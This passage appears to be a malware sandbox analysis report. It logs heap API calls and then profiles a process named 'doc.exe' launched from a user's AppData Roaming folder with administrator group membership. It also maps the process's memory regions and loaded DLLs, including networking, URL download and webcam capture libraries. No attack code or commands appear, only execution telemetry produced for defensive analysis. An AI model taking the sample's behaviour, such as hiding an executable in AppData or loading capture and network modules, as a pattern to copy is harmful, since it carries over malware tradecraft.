returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235650) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235650) returned 0x14 [0292.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235650 | out: hHeap=0x220000) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235670) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235670) returned 0x14 [0292.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235670 | out: hHeap=0x220000) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2351c8) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2351c8) returned 0x10 [0292.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2351c8 | out: hHeap=0x220000) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235690) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235690) returned 0x14 [0292.640] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235690 | out: hHeap=0x220000) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235708) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235708) returned 0x14 [0292.640] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235708 | out: hHeap=0x220000) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235788) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235788) returned 0x14 [0292.640] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235788 | out: hHeap=0x220000) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2357a8) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2357a8) returned 0x14 [0292.640] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2357a8 | out: hHeap=0x220000) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235848) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235848) returned 0x14 [0292.640] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235848 | out: hHeap=0x220000) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2351e0) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2351e0) returned 0x10 [0292.640] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2351e0 | out: hHeap=0x220000) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235728) returned 1 [0292.640] GetProcessHeap () returned 0x220000 [0292.640] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235728) returned 0x14 [0292.641] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235728 | out: hHeap=0x220000) returned 1 [0292.641] GetProcessHeap () returned 0x220000 [0292.641] GetProcessHeap () returned 0x220000 [0292.641] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235198) returned 1 [0292.641] GetProcessHeap () returned 0x220000 [0292.641] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235198) returned 0x10 [0292.641] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235198 | out: hHeap=0x220000) returned 1 [0292.641] exit (_Code=0) Thread: id = 268 os_tid = 0x490 Process: id = "15" image_name = "doc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe" page_root = "0x24750000" os_pid = "0x588" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xd90" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3606 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3607 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3608 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3609 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3610 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3611 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3612 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3613 start_va = 0x1360000 end_va = 0x1401fff monitored = 1 entry_point = 0x13d26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 3614 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3615 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3616 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3617 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3618 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3619 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3620 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3621 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3622 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3627 start_va = 0x400000 end_va = 0x553fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3633 start_va = 0x750000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 3634 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3635 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3636 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3637 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3638 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3639 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3640 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 3641 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3642 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 3643 start_va = 0x7d0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 3644 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3645 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3646 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3647 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3648 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3649 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3650 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3651 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3652 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3653 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3654 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3655 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3656 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3657 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3658 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3659 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3660 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3661 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3662 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3663 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 3664 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 3665 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 3666 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3667 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3668 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3678 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3679 start_va = 0x76200000 end_va = 0x76234fff monitored = 0 entry_point = 0x7620145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3680 start_va = 0x774b0000 end_va = 0x774b5fff monitored = 0 entry_point = 0x774b1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3681 start_va = 0x752b0000 end_va = 0x752c0fff monitored = 0 entry_point = 0x752b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3682 start_va = 0x752e0000 end_va = 0x752e8fff monitored = 0 entry_point = 0x752e15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3683 start_va = 0x75290000 end_va = 0x752a8fff monitored = 0 entry_point = 0x75291319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3684 start_va = 0x75280000 end_va = 0x7528efff monitored = 0 entry_point = 0x752812a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3685 start_va = 0x74cb0000 end_va = 0x74cbefff monitored = 0 entry_point = 0x74cb125e region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 3686 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 3687 start_va = 0x20000 end_va = 0x3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3688 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3689 start_va = 0x560000 end_va = 0x6e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 3690 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3691 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3692 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3693 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3694 start_va = 0x9c0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 3695 start_va = 0x1410000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001410000" filename = "" Region: id = 3713 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3714 start_va = 0x30000 end_va = 0x3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3715 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3733 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3734 start_va = 0xac0000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3748 start_va = 0x2b0000 end_va = 0x38efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 3749 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 3750 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3751 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3752 start_va = 0x74c90000 end_va = 0x74ca3fff monitored = 0 entry_point = 0x74c9ce73 region_type = mapped_file name = "devenum.dll" filename = "\\Windows\\SysWOW64\\devenum.dll" (normalized: "c:\\windows\\syswow64\\devenum.dll") Region: id = 3753 start_va = 0x74c40000 end_va = 0x74c71fff monitored = 0 entry_point = 0x74c437f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 3754 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 3755 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 3756 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 3757 start_va = 0x150000 end_va = 0x15cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 3758 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 3759 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 3779 start_va = 0xac0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3780 start_va = 0xc60000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 3781 start_va = 0xca0000 end_va = 0xf6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3782 start_va = 0x763a0000 end_va = 0x763cefff monitored = 0 entry_point = 0x763a2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 3783 start_va = 0x752d0000 end_va = 0x752dafff monitored = 0 entry_point = 0x752d39ab region_type = mapped_file name = "msdmo.dll" filename = "\\Windows\\SysWOW64\\msdmo.dll" (normalized: "c:\\windows\\syswow64\\msdmo.dll") Region: id = 3784 start_va = 0x74c20000 end_va = 0x74c32fff monitored = 0 entry_point = 0x74c2dcd8 region_type = mapped_file name = "avicap32.dll" filename = "\\Windows\\SysWOW64\\avicap32.dll" (normalized: "c:\\windows\\syswow64\\avicap32.dll") Region: id = 3785 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3786 start_va = 0x72b40000 end_va = 0x72b60fff monitored = 0 entry_point = 0x72b52e54 region_type = mapped_file name = "msvfw32.dll" filename = "\\Windows\\SysWOW64\\msvfw32.dll" (normalized: "c:\\windows\\syswow64\\msvfw32.dll") Region: id = 3787 start_va = 0x63bc0000 end_va = 0x63c43fff monitored = 0 entry_point = 0x63bc19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3788 start_va = 0xbc0000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 3789 start_va = 0x160000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msvfw32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msvfw32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msvfw32.dll.mui") Region: id = 3790 start_va = 0x170000 end_va = 0x171fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "avicap32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\avicap32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\avicap32.dll.mui") Region: id = 3791 start_va = 0xf70000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 3792 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3793 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3794 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3795 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3796 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3797 start_va = 0x390000 end_va = 0x390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3804 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3805 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3806 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = 